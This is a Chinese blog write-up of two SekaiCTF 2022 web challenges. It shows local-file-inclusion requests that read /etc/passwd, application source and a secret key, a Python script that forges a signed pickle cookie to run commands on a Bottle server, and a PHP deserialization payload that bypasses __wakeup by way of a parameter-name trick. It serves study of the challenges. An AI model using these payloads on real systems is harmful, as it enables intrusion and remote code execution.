国外比赛难度确实逆天
Sekai CTF 2022 https://github.com/project-sekai-ctf/sekaictf-2022
这是官方的wp
和题目的docker
,我后面还是把web
都复现一下
大比赛,每个题要么难出头,要么感觉就差一点,与大佬的差距,鼠鼠只能赛后复现wp了
这是web难度【看起来就是按解题人数来分】
1.bottle-poem[后续学习了,补上自己的思路] 1 2 3 4 5 6 7 8 9 10 11 hint: Come and read poems in the bottle. No bruteforcing is required to solve this challenge. Please do not use scanner tools. Rate limiting is applied. Flag is executable on server. 翻译: 快来读一读瓶中的诗吧。 解决这一挑战不需要暴力破解。请不要使用扫描仪工具。应用速率限制。标志在服务器上是可执行的。
这道题我已经秃头了,开始觉得是单纯的文件包含,但是后面看到官方发的wp,感觉又没那么简单
我先直接展示官方的wp,然后再展示我复现的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 Hey guys Thx for attending SekaiCTF i made two challenges for this competition one is bottle poem another is sekaigame start for the bottle poem most of people think its guessy and at the start the challenge always down so say sorry to u and respect to my buddy hfz that he fix this challenge here is my short wp ----------------- it's easy to find that this website has LFI u wanna to read file directly but failed that' s not show u that we hide it that means u havent enough execute permission to read it (so we update description that flag is executable and u dont need some bruteforcing or guessing)flag is in the common path /flagso we need to read source just like this http://bottle-poem.ctf.sekai.team/show?id =/proc/self/cwd/app.py so dont need to bruteforce proc/self/ just use it to got sourcecode use this way u can read the secret --sekai http://bottle-poem.ctf.sekai.team/show?id =/proc/self/cwd/config/secret.py now u can control the cookies but if u read something just like /views/admin.html or just make guest to admin u would find its a troll so u need rce truely if u search some documentation will find the bottle's cookie_decode() will unpickle so use this to get rce https://github.com/bottlepy/bottle/issues/900 here the steps 1.lfi to read file and secret 2.use cookie pickle rce to reverse a shell 3.execute /flag to get flag --------- and my exp ------------- demo exp import base64,hashlib,pickle,hmac import os def tob(s, enc=' utf8'): if isinstance(s, str): return s.encode(enc) return b' ' if s is None else bytes(s) def cookie_encode(data, key): ' '' Encode and sign a pickle-able object . Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, 0)) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!') + sig + tob('?') + msg class test(): def __reduce__(self): return (eval,('__import__("os").popen("command")',)) obj = test() a = cookie_encode(obj,'Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu') print(a)
翻译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 大家好,感谢参加 SekaiCTF 我为这次比赛提出了两个挑战,一个是瓶子诗,另一个是 sekaigame start 对于瓶子诗,大多数人认为它是猜测性的,一开始挑战总是失败,所以向你说声抱歉,并尊重我的好友 hfz,他解决了这个挑战 这是我的简短 wp ----------------- 很容易发现这个网站有LFI(本地文件包含) 你想直接读取文件但失败了 这并没有告诉你我们隐藏它,这意味着你没有足够的执行权限来读取它(所以我们更新了标志是可执行的并且你不需要一些暴力破解或猜测的描述)标志在公共路径/标志中 所以我们需要阅读源码 像这样 http:// bottle-poem.ctf.sekai.team/show?id=/ proc/self/ cwd/app.py 所以不需要蛮力 proc/self/ 只需使用它来获取源代码 使用这种方式你可以阅读秘密--sekai http:// bottle-poem.ctf.sekai.team/show?id=/ proc/self/ cwd/config/ secret.py 现在您可以控制 cookie,但如果您阅读 /views/ admin.html 之类的内容,或者只是让访客成为管理员,您会发现它是一个巨魔(可以理解为恶搞) 所以你真的需要 rce 如果你搜索一些文档会发现瓶子的 cookie_decode() 会解开所以用它来获取 rce https://gi thub.com/bottlepy/ bottle/issues/ 900 这里的步骤 1 .lfi读取文件和秘密2 .使用cookie pickle rce 反弹一个shell3 .执行/flag获取flag
官方exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 demo exp import base64,hashlib,pickle,hmacimport osdef tob (s, enc='utf8' ): if isinstance (s, str ): return s.encode(enc) return b'' if s is None else bytes (s) def cookie_encode (data, key ): ''' Encode and sign a pickle-able object. Return a (byte) string ''' msg = base64.b64encode(pickle.dumps(data, 0 )) sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()) return tob('!' ) + sig + tob('?' ) + msg class test (): def __reduce__ (self ): return (eval ,('__import__("os").popen("command")' ,)) obj = test() a = cookie_encode(obj,'Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu' ) print (a)
下面是我复现理解操作
先打开网站,看到有三个可以打开的链接
先看看源码
发现没什么额外的信息,三个链接是对应着三个文本文件
看起来似乎是文件包含的题
1 http://bottle-poem.ctf.sekai.team/show?id =spring.txt
我们试试能不能显示其他信息,我在做的时候试的是/etc/passwd
1 http://bottle-poem.ctf.sekai.team/show?id =/etc/passwd
看来是方向对了,确实是可以包含本地文件并显示,但是没有其他信息能利用
*查看当前进程的启动命令 这个是看最后发的wp
,学到了
然后会下载一个名叫show
的文件
在命令中,我们发现运行了一个/app/app.py
的文件
看来这就是我们网站启动的脚本,里面就有我们网站的源码
1 http://bottle-poem.ctf.sekai.team/show?id =/app/app.py
查看到文件源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from bottle import route, run, template, request, response, errorfrom config.secret import sekaiimport osimport re@route("/" ) def home (): return template("index" ) @route("/show" ) def index (): response.content_type = "text/plain; charset=UTF-8" param = request.query.id if re.search("^../app" , param): return "No!!!!" requested_path = os.path.join(os.getcwd() + "/poems" , param) try : with open (requested_path) as f: tfile = f.read() except Exception as e: return "No This Poems" return tfile @error(404 ) def error404 (error ): return template("error" ) @route("/sign" ) def index (): try : session = request.get_cookie("name" , secret=sekai) if not session or session["name" ] == "guest" : session = {"name" : "guest" } response.set_cookie("name" , session, secret=sekai) return template("guest" , name=session["name" ]) if session["name" ] == "admin" : return template("admin" , name=session["name" ]) except : return "pls no hax" if __name__ == "__main__" : os.chdir(os.path.dirname(__file__)) run(host="0.0.0.0" , port=8080 )
在
1 from config.secret import sekai
看到config.secret
,这是个文件路径/config/secret
我们可以访问看看,能不能看到里面的内容【注意这个文件肯定是在 /app
目录下】
1 http:// bottle-poem.ctf.sekai.team/show?id=/ app/config/ secret.py
得到
1 sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
1 2 3 1. lfi 读取文件和秘密2. 使用 cookie pickle rce 反弹shell3. 执行./flag获取flag
根据官方的pickle rce
,这个涉及新的 pickle
反序列化技巧
【流下没技术的眼泪】可我现在只会php
反序列化,后面补上
2.sekai-game-start 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php include ('./flag.php' );class Sekai_Game { public $start = True; public function __destruct ( ) { if ($this ->start === True){ echo "Sekai Game Start Here is your flag " .getenv ('FLAG' ); } } public function __wakeup ( ) { $this ->start=False; } } if (isset ($_GET ['sekai_game.run' ])){ unserialize ($_GET ['sekai_game.run' ]); }else { highlight_file (__FILE__ ); } ?>
看起来是到反序列化
的题目,看起来似乎难度不大,但是我被瓶子诗卡了太久,这几天又在搞DC5
,后面的题目发布出来都没怎么看了,早知道做一下了【哭唧唧】
我们先简单的分析一下源码内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include ('./flag.php' ); class Sekai_Game { public $start = True; public function __destruct ( ) { if ($this ->start === True){ echo "Sekai Game Start Here is your flag " .getenv ('FLAG' ); } } public function __wakeup ( ) { $this ->start=False; } } if (isset ($_GET ['sekai_game.run' ])){ unserialize ($_GET ['sekai_game.run' ]); }else { highlight_file (__FILE__ ); } ?>
然后我们整理一下
得到我们的序列化的php
代码
1 2 3 4 5 6 7 8 9 <?php class Sekai_Game { public $start = True; } $a =new Sekai_Game ();echo serialize ($a );?>
运行得到序列化结果
1 O :10 :"Sekai_Game" :1 :{s:5 :"start" ;b:1 ;}
我们修改一下属性值
1 O :10 :"Sekai_Game" :2 :{s:5 :"start" ;b:1 ;}
【苦笑】但实际是不行的
关键考点 但是
1 2 3 4 5 PhP 变量不能使用 . ,但是这个变量名很特殊:sekai_game.run. 它同时具有 _ 和 . php默认将.所有参数名称转换为_ ,因为版本早于8 ,有一种方法可以解决这个问题,使用[ ,php忽略所有 . ,只转换[为_ 参数 ==> ?sekai[game.run= **学到了**
所以有效的payload
为
第二步是绕过__wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 这里我用 O:10:"Sekai_Game":2:{s:5:"start";b:1;} 实际还是绕不过__wakeup函数,就算是属性个数大于原来的属性个数 ==>网上找了以后,发现这个方法是有局限性的,对于高版本的php,这样是无法绕过__wakeup() ---- 对于高版本的php 可以用C:来绕过 原理是C:代表这个类实现了serializeable接口,而serializeable不支持__wakeup,就绕过去了 ==> C:10:"Sekai_ Game":2:{s:5:"start";b:1;}但是因为源码中已经赋值,所以不填写数据, 只用实例化Sekai_Game类
1 2 3 4 5 6 7 8 9 10 11 12 <?php class Sekai_Game {} $a =new Sekai_Game ();echo serialize ($a );?> ==>O:10 :"Sekai_Game" :0 :{} ==>C:10 :"Sekai_Game" :0 :{}
于是最后的payload为
1 ?sekai[game.run =C:10 :"Sekai_Game" :0 :{}
得到flag